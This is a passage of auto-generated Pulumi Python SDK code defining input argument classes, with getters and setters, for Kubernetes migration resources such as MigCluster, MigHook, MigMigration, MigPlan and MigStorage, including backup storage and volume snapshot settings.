"storage_classes") @storage_classes.setter def storage_classes(self, value: Optional[pulumi.Input[Sequence[pulumi.Input['MigClusterSpecStorageClassesArgs']]]]): pulumi.set(self, "storage_classes", value) @property @pulumi.getter def url(self) -> Optional[pulumi.Input[str]]: return pulumi.get(self, "url") @url.setter def url(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "url", value) @pulumi.input_type class MigClusterSpecStorageClassesArgs: def __init__(__self__, *, access_modes: Optional[pulumi.Input[Sequence[pulumi.Input[str]]]] = None, default: Optional[pulumi.Input[bool]] = None, name: Optional[pulumi.Input[str]] = None, provisioner: Optional[pulumi.Input[str]] = None): if access_modes is not None: pulumi.set(__self__, "access_modes", access_modes) if default is not None: pulumi.set(__self__, "default", default) if name is not None: pulumi.set(__self__, "name", name) if provisioner is not None: pulumi.set(__self__, "provisioner", provisioner) @property @pulumi.getter(name="accessModes") def access_modes(self) -> Optional[pulumi.Input[Sequence[pulumi.Input[str]]]]: return pulumi.get(self, "access_modes") @access_modes.setter def access_modes(self, value: Optional[pulumi.Input[Sequence[pulumi.Input[str]]]]): pulumi.set(self, "access_modes", value) @property @pulumi.getter def default(self) -> Optional[pulumi.Input[bool]]: return pulumi.get(self, "default") @default.setter def default(self, value: Optional[pulumi.Input[bool]]): pulumi.set(self, "default", value) @property @pulumi.getter def name(self) -> Optional[pulumi.Input[str]]: return pulumi.get(self, "name") @name.setter def name(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "name", value) @property @pulumi.getter def provisioner(self) -> Optional[pulumi.Input[str]]: return pulumi.get(self, "provisioner") @provisioner.setter def provisioner(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "provisioner", value) @pulumi.input_type class MigClusterStatusArgs: def __init__(__self__, *, observed_digest: Optional[pulumi.Input[str]] = None): if observed_digest is not None: pulumi.set(__self__, "observed_digest", observed_digest) @property @pulumi.getter(name="observedDigest") def observed_digest(self) -> Optional[pulumi.Input[str]]: return pulumi.get(self, "observed_digest") @observed_digest.setter def observed_digest(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "observed_digest", value) @pulumi.input_type class MigHookSpecArgs: def __init__(__self__, *, custom: pulumi.Input[bool], image: pulumi.Input[str], target_cluster: pulumi.Input[str], active_deadline_seconds: Optional[pulumi.Input[int]] = None, playbook: Optional[pulumi.Input[str]] = None): pulumi.set(__self__, "custom", custom) pulumi.set(__self__, "image", image) pulumi.set(__self__, "target_cluster", target_cluster) if active_deadline_seconds is not None: pulumi.set(__self__, "active_deadline_seconds", active_deadline_seconds) if playbook is not None: pulumi.set(__self__, "playbook", playbook) @property @pulumi.getter def custom(self) -> pulumi.Input[bool]: return pulumi.get(self, "custom") @custom.setter def custom(self, value: pulumi.Input[bool]): pulumi.set(self, "custom", value) @property @pulumi.getter def image(self) -> pulumi.Input[str]: return pulumi.get(self, "image") @image.setter def image(self, value: pulumi.Input[str]): pulumi.set(self, "image", value) @property @pulumi.getter(name="targetCluster") def target_cluster(self) -> pulumi.Input[str]: return pulumi.get(self, "target_cluster") @target_cluster.setter def target_cluster(self, value: pulumi.Input[str]): pulumi.set(self, "target_cluster", value) @property @pulumi.getter(name="activeDeadlineSeconds") def active_deadline_seconds(self) -> Optional[pulumi.Input[int]]: return pulumi.get(self, "active_deadline_seconds") @active_deadline_seconds.setter def active_deadline_seconds(self, value: Optional[pulumi.Input[int]]): pulumi.set(self, "active_deadline_seconds", value) @property @pulumi.getter def playbook(self) -> Optional[pulumi.Input[str]]: return pulumi.get(self, "playbook") @playbook.setter def playbook(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "playbook", value) @pulumi.input_type class MigHookStatusArgs: def __init__(__self__, *, observed_generation: Optional[pulumi.Input[int]] = None): if observed_generation is not None: pulumi.set(__self__, "observed_generation", observed_generation) @property @pulumi.getter(name="observedGeneration") def observed_generation(self) -> Optional[pulumi.Input[int]]: return pulumi.get(self, "observed_generation") @observed_generation.setter def observed_generation(self, value: Optional[pulumi.Input[int]]): pulumi.set(self, "observed_generation", value) @pulumi.input_type class MigMigrationSpecArgs: def __init__(__self__, *, stage: pulumi.Input[bool], canceled: Optional[pulumi.Input[bool]] = None, keep_annotations: Optional[pulumi.Input[bool]] = None, mig_plan_ref: Optional[pulumi.Input[Mapping[str, Any]]] = None, quiesce_pods: Optional[pulumi.Input[bool]] = None, verify: Optional[pulumi.Input[bool]] = None): pulumi.set(__self__, "stage", stage) if canceled is not None: pulumi.set(__self__, "canceled", canceled) if keep_annotations is not None: pulumi.set(__self__, "keep_annotations", keep_annotations) if mig_plan_ref is not None: pulumi.set(__self__, "mig_plan_ref", mig_plan_ref) if quiesce_pods is not None: pulumi.set(__self__, "quiesce_pods", quiesce_pods) if verify is not None: pulumi.set(__self__, "verify", verify) @property @pulumi.getter def stage(self) -> pulumi.Input[bool]: return pulumi.get(self, "stage") @stage.setter def stage(self, value: pulumi.Input[bool]): pulumi.set(self, "stage", value) @property @pulumi.getter def canceled(self) -> Optional[pulumi.Input[bool]]: return pulumi.get(self, "canceled") @canceled.setter def canceled(self, value: Optional[pulumi.Input[bool]]): pulumi.set(self, "canceled", value) @property @pulumi.getter(name="keepAnnotations") def keep_annotations(self) -> Optional[pulumi.Input[bool]]: return pulumi.get(self, "keep_annotations") @keep_annotations.setter def keep_annotations(self, value: Optional[pulumi.Input[bool]]): pulumi.set(self, "keep_annotations", value) @property @pulumi.getter(name="migPlanRef") def mig_plan_ref(self) -> Optional[pulumi.Input[Mapping[str, Any]]]: return pulumi.get(self, "mig_plan_ref") @mig_plan_ref.setter def mig_plan_ref(self, value: Optional[pulumi.Input[Mapping[str, Any]]]): pulumi.set(self, "mig_plan_ref", value) @property @pulumi.getter(name="quiescePods") def quiesce_pods(self) -> Optional[pulumi.Input[bool]]: return pulumi.get(self, "quiesce_pods") @quiesce_pods.setter def quiesce_pods(self, value: Optional[pulumi.Input[bool]]): pulumi.set(self, "quiesce_pods", value) @property @pulumi.getter def verify(self) -> Optional[pulumi.Input[bool]]: return pulumi.get(self, "verify") @verify.setter def verify(self, value: Optional[pulumi.Input[bool]]): pulumi.set(self, "verify", value) @pulumi.input_type class MigMigrationStatusArgs: def __init__(__self__, *, errors: Optional[pulumi.Input[Sequence[pulumi.Input[str]]]] = None, itinerary: Optional[pulumi.Input[str]] = None, observed_digest: Optional[pulumi.Input[str]] = None, phase: Optional[pulumi.Input[str]] = None, start_timestamp: Optional[pulumi.Input[str]] = None): if errors is not None: pulumi.set(__self__, "errors", errors) if itinerary is not None: pulumi.set(__self__, "itinerary", itinerary) if observed_digest is not None: pulumi.set(__self__, "observed_digest", observed_digest) if phase is not None: pulumi.set(__self__, "phase", phase) if start_timestamp is not None: pulumi.set(__self__, "start_timestamp", start_timestamp) @property @pulumi.getter def errors(self) -> Optional[pulumi.Input[Sequence[pulumi.Input[str]]]]: return pulumi.get(self, "errors") @errors.setter def errors(self, value: Optional[pulumi.Input[Sequence[pulumi.Input[str]]]]): pulumi.set(self, "errors", value) @property @pulumi.getter def itinerary(self) -> Optional[pulumi.Input[str]]: return pulumi.get(self, "itinerary") @itinerary.setter def itinerary(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "itinerary", value) @property @pulumi.getter(name="observedDigest") def observed_digest(self) -> Optional[pulumi.Input[str]]: return pulumi.get(self, "observed_digest") @observed_digest.setter def observed_digest(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "observed_digest", value) @property @pulumi.getter def phase(self) -> Optional[pulumi.Input[str]]: return pulumi.get(self, "phase") @phase.setter def phase(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "phase", value) @property @pulumi.getter(name="startTimestamp") def start_timestamp(self) -> Optional[pulumi.Input[str]]: return pulumi.get(self, "start_timestamp") @start_timestamp.setter def start_timestamp(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "start_timestamp", value) @pulumi.input_type class MigPlanSpecArgs: def __init__(__self__, *, closed: Optional[pulumi.Input[bool]] = None, dest_mig_cluster_ref: Optional[pulumi.Input[Mapping[str, Any]]] = None, hooks: Optional[pulumi.Input[Sequence[pulumi.Input['MigPlanSpecHooksArgs']]]] = None, mig_storage_ref: Optional[pulumi.Input[Mapping[str, Any]]] = None, namespaces: Optional[pulumi.Input[Sequence[pulumi.Input[str]]]] = None, persistent_volumes: Optional[pulumi.Input[Sequence[pulumi.Input['MigPlanSpecPersistentVolumesArgs']]]] = None, src_mig_cluster_ref: Optional[pulumi.Input[Mapping[str, Any]]] = None): if closed is not None: pulumi.set(__self__, "closed", closed) if dest_mig_cluster_ref is not None: pulumi.set(__self__, "dest_mig_cluster_ref", dest_mig_cluster_ref) if hooks is not None: pulumi.set(__self__, "hooks", hooks) if mig_storage_ref is not None: pulumi.set(__self__, "mig_storage_ref", mig_storage_ref) if namespaces is not None: pulumi.set(__self__, "namespaces", namespaces) if persistent_volumes is not None: pulumi.set(__self__, "persistent_volumes", persistent_volumes) if src_mig_cluster_ref is not None: pulumi.set(__self__, "src_mig_cluster_ref", src_mig_cluster_ref) @property @pulumi.getter def closed(self) -> Optional[pulumi.Input[bool]]: return pulumi.get(self, "closed") @closed.setter def closed(self, value: Optional[pulumi.Input[bool]]): pulumi.set(self, "closed", value) @property @pulumi.getter(name="destMigClusterRef") def dest_mig_cluster_ref(self) -> Optional[pulumi.Input[Mapping[str, Any]]]: return pulumi.get(self, "dest_mig_cluster_ref") @dest_mig_cluster_ref.setter def dest_mig_cluster_ref(self, value: Optional[pulumi.Input[Mapping[str, Any]]]): pulumi.set(self, "dest_mig_cluster_ref", value) @property @pulumi.getter def hooks(self) -> Optional[pulumi.Input[Sequence[pulumi.Input['MigPlanSpecHooksArgs']]]]: return pulumi.get(self, "hooks") @hooks.setter def hooks(self, value: Optional[pulumi.Input[Sequence[pulumi.Input['MigPlanSpecHooksArgs']]]]): pulumi.set(self, "hooks", value) @property @pulumi.getter(name="migStorageRef") def mig_storage_ref(self) -> Optional[pulumi.Input[Mapping[str, Any]]]: return pulumi.get(self, "mig_storage_ref") @mig_storage_ref.setter def mig_storage_ref(self, value: Optional[pulumi.Input[Mapping[str, Any]]]): pulumi.set(self, "mig_storage_ref", value) @property @pulumi.getter def namespaces(self) -> Optional[pulumi.Input[Sequence[pulumi.Input[str]]]]: return pulumi.get(self, "namespaces") @namespaces.setter def namespaces(self, value: Optional[pulumi.Input[Sequence[pulumi.Input[str]]]]): pulumi.set(self, "namespaces", value) @property @pulumi.getter(name="persistentVolumes") def persistent_volumes(self) -> Optional[pulumi.Input[Sequence[pulumi.Input['MigPlanSpecPersistentVolumesArgs']]]]: return pulumi.get(self, "persistent_volumes") @persistent_volumes.setter def persistent_volumes(self, value: Optional[pulumi.Input[Sequence[pulumi.Input['MigPlanSpecPersistentVolumesArgs']]]]): pulumi.set(self, "persistent_volumes", value) @property @pulumi.getter(name="srcMigClusterRef") def src_mig_cluster_ref(self) -> Optional[pulumi.Input[Mapping[str, Any]]]: return pulumi.get(self, "src_mig_cluster_ref") @src_mig_cluster_ref.setter def src_mig_cluster_ref(self, value: Optional[pulumi.Input[Mapping[str, Any]]]): pulumi.set(self, "src_mig_cluster_ref", value) @pulumi.input_type class MigPlanSpecHooksArgs: def __init__(__self__, *, execution_namespace: pulumi.Input[str], phase: pulumi.Input[str], reference: pulumi.Input[Mapping[str, Any]], service_account: pulumi.Input[str]): pulumi.set(__self__, "execution_namespace", execution_namespace) pulumi.set(__self__, "phase", phase) pulumi.set(__self__, "reference", reference) pulumi.set(__self__, "service_account", service_account) @property @pulumi.getter(name="executionNamespace") def execution_namespace(self) -> pulumi.Input[str]: return pulumi.get(self, "execution_namespace") @execution_namespace.setter def execution_namespace(self, value: pulumi.Input[str]): pulumi.set(self, "execution_namespace", value) @property @pulumi.getter def phase(self) -> pulumi.Input[str]: return pulumi.get(self, "phase") @phase.setter def phase(self, value: pulumi.Input[str]): pulumi.set(self, "phase", value) @property @pulumi.getter def reference(self) -> pulumi.Input[Mapping[str, Any]]: return pulumi.get(self, "reference") @reference.setter def reference(self, value: pulumi.Input[Mapping[str, Any]]): pulumi.set(self, "reference", value) @property @pulumi.getter(name="serviceAccount") def service_account(self) -> pulumi.Input[str]: return pulumi.get(self, "service_account") @service_account.setter def service_account(self, value: pulumi.Input[str]): pulumi.set(self, "service_account", value) @pulumi.input_type class MigPlanSpecPersistentVolumesArgs: def __init__(__self__, *, selection: pulumi.Input['MigPlanSpecPersistentVolumesSelectionArgs'], supported: pulumi.Input['MigPlanSpecPersistentVolumesSupportedArgs'], capacity: Optional[pulumi.Input[str]] = None, name: Optional[pulumi.Input[str]] = None, pvc: Optional[pulumi.Input['MigPlanSpecPersistentVolumesPvcArgs']] = None, storage_class: Optional[pulumi.Input[str]] = None): pulumi.set(__self__, "selection", selection) pulumi.set(__self__, "supported", supported) if capacity is not None: pulumi.set(__self__, "capacity", capacity) if name is not None: pulumi.set(__self__, "name", name) if pvc is not None: pulumi.set(__self__, "pvc", pvc) if storage_class is not None: pulumi.set(__self__, "storage_class", storage_class) @property @pulumi.getter def selection(self) -> pulumi.Input['MigPlanSpecPersistentVolumesSelectionArgs']: return pulumi.get(self, "selection") @selection.setter def selection(self, value: pulumi.Input['MigPlanSpecPersistentVolumesSelectionArgs']): pulumi.set(self, "selection", value) @property @pulumi.getter def supported(self) -> pulumi.Input['MigPlanSpecPersistentVolumesSupportedArgs']: return pulumi.get(self, "supported") @supported.setter def supported(self, value: pulumi.Input['MigPlanSpecPersistentVolumesSupportedArgs']): pulumi.set(self, "supported", value) @property @pulumi.getter def capacity(self) -> Optional[pulumi.Input[str]]: return pulumi.get(self, "capacity") @capacity.setter def capacity(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "capacity", value) @property @pulumi.getter def name(self) -> Optional[pulumi.Input[str]]: return pulumi.get(self, "name") @name.setter def name(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "name", value) @property @pulumi.getter def pvc(self) -> Optional[pulumi.Input['MigPlanSpecPersistentVolumesPvcArgs']]: return pulumi.get(self, "pvc") @pvc.setter def pvc(self, value: Optional[pulumi.Input['MigPlanSpecPersistentVolumesPvcArgs']]): pulumi.set(self, "pvc", value) @property @pulumi.getter(name="storageClass") def storage_class(self) -> Optional[pulumi.Input[str]]: return pulumi.get(self, "storage_class") @storage_class.setter def storage_class(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "storage_class", value) @pulumi.input_type class MigPlanSpecPersistentVolumesPvcArgs: def __init__(__self__, *, access_modes: Optional[pulumi.Input[Sequence[pulumi.Input[str]]]] = None, has_reference: Optional[pulumi.Input[bool]] = None, name: Optional[pulumi.Input[str]] = None, namespace: Optional[pulumi.Input[str]] = None): if access_modes is not None: pulumi.set(__self__, "access_modes", access_modes) if has_reference is not None: pulumi.set(__self__, "has_reference", has_reference) if name is not None: pulumi.set(__self__, "name", name) if namespace is not None: pulumi.set(__self__, "namespace", namespace) @property @pulumi.getter(name="accessModes") def access_modes(self) -> Optional[pulumi.Input[Sequence[pulumi.Input[str]]]]: return pulumi.get(self, "access_modes") @access_modes.setter def access_modes(self, value: Optional[pulumi.Input[Sequence[pulumi.Input[str]]]]): pulumi.set(self, "access_modes", value) @property @pulumi.getter(name="hasReference") def has_reference(self) -> Optional[pulumi.Input[bool]]: return pulumi.get(self, "has_reference") @has_reference.setter def has_reference(self, value: Optional[pulumi.Input[bool]]): pulumi.set(self, "has_reference", value) @property @pulumi.getter def name(self) -> Optional[pulumi.Input[str]]: return pulumi.get(self, "name") @name.setter def name(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "name", value) @property @pulumi.getter def namespace(self) -> Optional[pulumi.Input[str]]: return pulumi.get(self, "namespace") @namespace.setter def namespace(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "namespace", value) @pulumi.input_type class MigPlanSpecPersistentVolumesSelectionArgs: def __init__(__self__, *, access_mode: Optional[pulumi.Input[str]] = None, action: Optional[pulumi.Input[str]] = None, copy_method: Optional[pulumi.Input[str]] = None, storage_class: Optional[pulumi.Input[str]] = None, verify: Optional[pulumi.Input[bool]] = None): if access_mode is not None: pulumi.set(__self__, "access_mode", access_mode) if action is not None: pulumi.set(__self__, "action", action) if copy_method is not None: pulumi.set(__self__, "copy_method", copy_method) if storage_class is not None: pulumi.set(__self__, "storage_class", storage_class) if verify is not None: pulumi.set(__self__, "verify", verify) @property @pulumi.getter(name="accessMode") def access_mode(self) -> Optional[pulumi.Input[str]]: return pulumi.get(self, "access_mode") @access_mode.setter def access_mode(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "access_mode", value) @property @pulumi.getter def action(self) -> Optional[pulumi.Input[str]]: return pulumi.get(self, "action") @action.setter def action(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "action", value) @property @pulumi.getter(name="copyMethod") def copy_method(self) -> Optional[pulumi.Input[str]]: return pulumi.get(self, "copy_method") @copy_method.setter def copy_method(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "copy_method", value) @property @pulumi.getter(name="storageClass") def storage_class(self) -> Optional[pulumi.Input[str]]: return pulumi.get(self, "storage_class") @storage_class.setter def storage_class(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "storage_class", value) @property @pulumi.getter def verify(self) -> Optional[pulumi.Input[bool]]: return pulumi.get(self, "verify") @verify.setter def verify(self, value: Optional[pulumi.Input[bool]]): pulumi.set(self, "verify", value) @pulumi.input_type class MigPlanSpecPersistentVolumesSupportedArgs: def __init__(__self__, *, actions: pulumi.Input[Sequence[pulumi.Input[str]]], copy_methods: pulumi.Input[Sequence[pulumi.Input[str]]]): pulumi.set(__self__, "actions", actions) pulumi.set(__self__, "copy_methods", copy_methods) @property @pulumi.getter def actions(self) -> pulumi.Input[Sequence[pulumi.Input[str]]]: return pulumi.get(self, "actions") @actions.setter def actions(self, value: pulumi.Input[Sequence[pulumi.Input[str]]]): pulumi.set(self, "actions", value) @property @pulumi.getter(name="copyMethods") def copy_methods(self) -> pulumi.Input[Sequence[pulumi.Input[str]]]: return pulumi.get(self, "copy_methods") @copy_methods.setter def copy_methods(self, value: pulumi.Input[Sequence[pulumi.Input[str]]]): pulumi.set(self, "copy_methods", value) @pulumi.input_type class MigPlanStatusArgs: def __init__(__self__, *, excluded_resources: Optional[pulumi.Input[Sequence[pulumi.Input[str]]]] = None, incompatible_namespaces: Optional[pulumi.Input[Sequence[pulumi.Input['MigPlanStatusIncompatibleNamespacesArgs']]]] = None, observed_digest: Optional[pulumi.Input[str]] = None): if excluded_resources is not None: pulumi.set(__self__, "excluded_resources", excluded_resources) if incompatible_namespaces is not None: pulumi.set(__self__, "incompatible_namespaces", incompatible_namespaces) if observed_digest is not None: pulumi.set(__self__, "observed_digest", observed_digest) @property @pulumi.getter(name="excludedResources") def excluded_resources(self) -> Optional[pulumi.Input[Sequence[pulumi.Input[str]]]]: return pulumi.get(self, "excluded_resources") @excluded_resources.setter def excluded_resources(self, value: Optional[pulumi.Input[Sequence[pulumi.Input[str]]]]): pulumi.set(self, "excluded_resources", value) @property @pulumi.getter(name="incompatibleNamespaces") def incompatible_namespaces(self) -> Optional[pulumi.Input[Sequence[pulumi.Input['MigPlanStatusIncompatibleNamespacesArgs']]]]: return pulumi.get(self, "incompatible_namespaces") @incompatible_namespaces.setter def incompatible_namespaces(self, value: Optional[pulumi.Input[Sequence[pulumi.Input['MigPlanStatusIncompatibleNamespacesArgs']]]]): pulumi.set(self, "incompatible_namespaces", value) @property @pulumi.getter(name="observedDigest") def observed_digest(self) -> Optional[pulumi.Input[str]]: return pulumi.get(self, "observed_digest") @observed_digest.setter def observed_digest(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "observed_digest", value) @pulumi.input_type class MigPlanStatusIncompatibleNamespacesArgs: def __init__(__self__, *, gvks: pulumi.Input[Sequence[pulumi.Input['MigPlanStatusIncompatibleNamespacesGvksArgs']]], name: pulumi.Input[str]): pulumi.set(__self__, "gvks", gvks) pulumi.set(__self__, "name", name) @property @pulumi.getter def gvks(self) -> pulumi.Input[Sequence[pulumi.Input['MigPlanStatusIncompatibleNamespacesGvksArgs']]]: return pulumi.get(self, "gvks") @gvks.setter def gvks(self, value: pulumi.Input[Sequence[pulumi.Input['MigPlanStatusIncompatibleNamespacesGvksArgs']]]): pulumi.set(self, "gvks", value) @property @pulumi.getter def name(self) -> pulumi.Input[str]: return pulumi.get(self, "name") @name.setter def name(self, value: pulumi.Input[str]): pulumi.set(self, "name", value) @pulumi.input_type class MigPlanStatusIncompatibleNamespacesGvksArgs: def __init__(__self__, *, group: pulumi.Input[str], kind: pulumi.Input[str], version: pulumi.Input[str]): pulumi.set(__self__, "group", group) pulumi.set(__self__, "kind", kind) pulumi.set(__self__, "version", version) @property @pulumi.getter def group(self) -> pulumi.Input[str]: return pulumi.get(self, "group") @group.setter def group(self, value: pulumi.Input[str]): pulumi.set(self, "group", value) @property @pulumi.getter def kind(self) -> pulumi.Input[str]: return pulumi.get(self, "kind") @kind.setter def kind(self, value: pulumi.Input[str]): pulumi.set(self, "kind", value) @property @pulumi.getter def version(self) -> pulumi.Input[str]: return pulumi.get(self, "version") @version.setter def version(self, value: pulumi.Input[str]): pulumi.set(self, "version", value) @pulumi.input_type class MigStorageSpecArgs: def __init__(__self__, *, backup_storage_config: pulumi.Input['MigStorageSpecBackupStorageConfigArgs'], backup_storage_provider: pulumi.Input[str], volume_snapshot_config: Optional[pulumi.Input['MigStorageSpecVolumeSnapshotConfigArgs']] = None, volume_snapshot_provider: Optional[pulumi.Input[str]] = None): pulumi.set(__self__, "backup_storage_config", backup_storage_config) pulumi.set(__self__, "backup_storage_provider", backup_storage_provider) if volume_snapshot_config is not None: pulumi.set(__self__, "volume_snapshot_config", volume_snapshot_config) if volume_snapshot_provider is not None: pulumi.set(__self__, "volume_snapshot_provider", volume_snapshot_provider) @property @pulumi.getter(name="backupStorageConfig") def backup_storage_config(self) -> pulumi.Input['MigStorageSpecBackupStorageConfigArgs']: return pulumi.get(self, "backup_storage_config") @backup_storage_config.setter def backup_storage_config(self, value: pulumi.Input['MigStorageSpecBackupStorageConfigArgs']): pulumi.set(self, "backup_storage_config", value) @property @pulumi.getter(name="backupStorageProvider") def backup_storage_provider(self) -> pulumi.Input[str]: return pulumi.get(self, "backup_storage_provider") @backup_storage_provider.setter def backup_storage_provider(self, value: pulumi.Input[str]): pulumi.set(self, "backup_storage_provider", value) @property @pulumi.getter(name="volumeSnapshotConfig") def volume_snapshot_config(self) -> Optional[pulumi.Input['MigStorageSpecVolumeSnapshotConfigArgs']]: return pulumi.get(self, "volume_snapshot_config") @volume_snapshot_config.setter def volume_snapshot_config(self, value: Optional[pulumi.Input['MigStorageSpecVolumeSnapshotConfigArgs']]): pulumi.set(self, "volume_snapshot_config", value) @property @pulumi.getter(name="volumeSnapshotProvider") def volume_snapshot_provider(self) -> Optional[pulumi.Input[str]]: return pulumi.get(self, "volume_snapshot_provider") @volume_snapshot_provider.setter def volume_snapshot_provider(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "volume_snapshot_provider", value) @pulumi.input_type class MigStorageSpecBackupStorageConfigArgs: def __init__(__self__, *, aws_bucket_name: Optional[pulumi.Input[str]] = None, aws_kms_key_id: Optional[pulumi.Input[str]] = None, aws_public_url: Optional[pulumi.Input[str]] = None, aws_region: Optional[pulumi.Input[str]] = None, aws_s3_force_path_style: Optional[pulumi.Input[bool]] = None, aws_s3_url: Optional[pulumi.Input[str]] = None, aws_signature_version: Optional[pulumi.Input[str]] = None, azure_resource_group: Optional[pulumi.Input[str]] = None, azure_storage_account: Optional[pulumi.Input[str]] = None, azure_storage_container: Optional[pulumi.Input[str]] = None, creds_secret_ref: Optional[pulumi.Input[Mapping[str, Any]]] = None, gcp_bucket: Optional[pulumi.Input[str]] = None, insecure: Optional[pulumi.Input[bool]] = None, s3_custom_ca_bundle: Optional[pulumi.Input[str]] = None): if aws_bucket_name is not None: pulumi.set(__self__, "aws_bucket_name", aws_bucket_name) if aws_kms_key_id is not None: pulumi.set(__self__, "aws_kms_key_id", aws_kms_key_id) if aws_public_url is not None: pulumi.set(__self__, "aws_public_url", aws_public_url) if aws_region is not None: pulumi.set(__self__, "aws_region", aws_region) if aws_s3_force_path_style is not None: pulumi.set(__self__, "aws_s3_force_path_style", aws_s3_force_path_style) if aws_s3_url is not None: pulumi.set(__self__, "aws_s3_url", aws_s3_url) if aws_signature_version is not None: pulumi.set(__self__, "aws_signature_version", aws_signature_version) if azure_resource_group is not None: pulumi.set(__self__, "azure_resource_group", azure_resource_group) if azure_storage_account is not None: pulumi.set(__self__, "azure_storage_account", azure_storage_account) if azure_storage_container is not None: pulumi.set(__self__, "azure_storage_container", azure_storage_container) if creds_secret_ref is not None: pulumi.set(__self__, "creds_secret_ref", creds_secret_ref) if gcp_bucket is not None: pulumi.set(__self__, "gcp_bucket", gcp_bucket) if insecure is not None: pulumi.set(__self__, "insecure", insecure) if s3_custom_ca_bundle is not None: pulumi.set(__self__, "s3_custom_ca_bundle", s3_custom_ca_bundle) @property @pulumi.getter(name="awsBucketName") def aws_bucket_name(self) -> Optional[pulumi.Input[str]]: return pulumi.get(self, "aws_bucket_name") @aws_bucket_name.setter def aws_bucket_name(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "aws_bucket_name", value) @property @pulumi.getter(name="awsKmsKeyId") def aws_kms_key_id(self) -> Optional[pulumi.Input[str]]: return pulumi.get(self, "aws_kms_key_id") @aws_kms_key_id.setter def aws_kms_key_id(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "aws_kms_key_id", value) @property @pulumi.getter(name="awsPublicUrl") def aws_public_url(self) -> Optional[pulumi.Input[str]]: return pulumi.get(self, "aws_public_url") @aws_public_url.setter def aws_public_url(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "aws_public_url", value) @property @pulumi.getter(name="awsRegion") def aws_region(self) -> Optional[pulumi.Input[str]]: return pulumi.get(self, "aws_region") @aws_region.setter def aws_region(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "aws_region", value) @property @pulumi.getter(name="awsS3ForcePathStyle") def aws_s3_force_path_style(self) -> Optional[pulumi.Input[bool]]: return pulumi.get(self, "aws_s3_force_path_style") @aws_s3_force_path_style.setter def aws_s3_force_path_style(self, value: Optional[pulumi.Input[bool]]): pulumi.set(self, "aws_s3_force_path_style", value) @property @pulumi.getter(name="awsS3Url") def aws_s3_url(self) -> Optional[pulumi.Input[str]]: return pulumi.get(self, "aws_s3_url") @aws_s3_url.setter def aws_s3_url(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "aws_s3_url", value) @property @pulumi.getter(name="awsSignatureVersion") def aws_signature_version(self) -> Optional[pulumi.Input[str]]: return pulumi.get(self, "aws_signature_version") @aws_signature_version.setter def aws_signature_version(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "aws_signature_version", value) @property @pulumi.getter(name="azureResourceGroup") def azure_resource_group(self) -> Optional[pulumi.Input[str]]: return pulumi.get(self, "azure_resource_group") @azure_resource_group.setter def azure_resource_group(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "azure_resource_group", value) @property @pulumi.getter(name="azureStorageAccount") def azure_storage_account(self) -> Optional[pulumi.Input[str]]: return pulumi.get(self, "azure_storage_account") @azure_storage_account.setter def azure_storage_account(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "azure_storage_account", value) @property @pulumi.getter(name="azureStorageContainer") def azure_storage_container(self) -> Optional[pulumi.Input[str]]: return pulumi.get(self, "azure_storage_container") @azure_storage_container.setter def azure_storage_container(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "azure_storage_container", value) @property @pulumi.getter(name="credsSecretRef") def creds_secret_ref(self) -> Optional[pulumi.Input[Mapping[str, Any]]]: return pulumi.get(self, "creds_secret_ref") @creds_secret_ref.setter def creds_secret_ref(self, value: Optional[pulumi.Input[Mapping[str, Any]]]): pulumi.set(self, "creds_secret_ref", value) @property @pulumi.getter(name="gcpBucket") def gcp_bucket(self) -> Optional[pulumi.Input[str]]: return pulumi.get(self, "gcp_bucket") @gcp_bucket.setter def gcp_bucket(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "gcp_bucket", value) @property @pulumi.getter def insecure(self) -> Optional[pulumi.Input[bool]]: return pulumi.get(self, "insecure") @insecure.setter def insecure(self, value: Optional[pulumi.Input[bool]]): pulumi.set(self, "insecure", value) @property @pulumi.getter(name="s3CustomCABundle") def s3_custom_ca_bundle(self) -> Optional[pulumi.Input[str]]: return pulumi.get(self, "s3_custom_ca_bundle") @s3_custom_ca_bundle.setter def s3_custom_ca_bundle(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "s3_custom_ca_bundle", value) @pulumi.input_type class MigStorageSpecVolumeSnapshotConfigArgs: def __init__(__self__, *, aws_region: Optional[pulumi.Input[str]] = None, azure_api_timeout: Optional[pulumi.Input[str]] = None, azure_resource_group: Optional[pulumi.Input[str]] = None, creds_secret_ref: Optional[pulumi.Input[Mapping[str, Any]]] = None, snapshot_creation_timeout: Optional[pulumi.Input[str]] = None): if aws_region is not None: pulumi.set(__self__, "aws_region", aws_region) if azure_api_timeout is not None: pulumi.set(__self__, "azure_api_timeout", azure_api_timeout) if azure_resource_group is not None: pulumi.set(__self__, "azure_resource_group", azure_resource_group) if creds_secret_ref is not None: pulumi.set(__self__, "creds_secret_ref", creds_secret_ref) if snapshot_creation_timeout is not None: pulumi.set(__self__, "snapshot_creation_timeout", snapshot_creation_timeout) @property @pulumi.getter(name="awsRegion") def aws_region(self) -> Optional[pulumi.Input[str]]: return pulumi.get(self, "aws_region") @aws_region.setter def aws_region(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "aws_region", value) @property 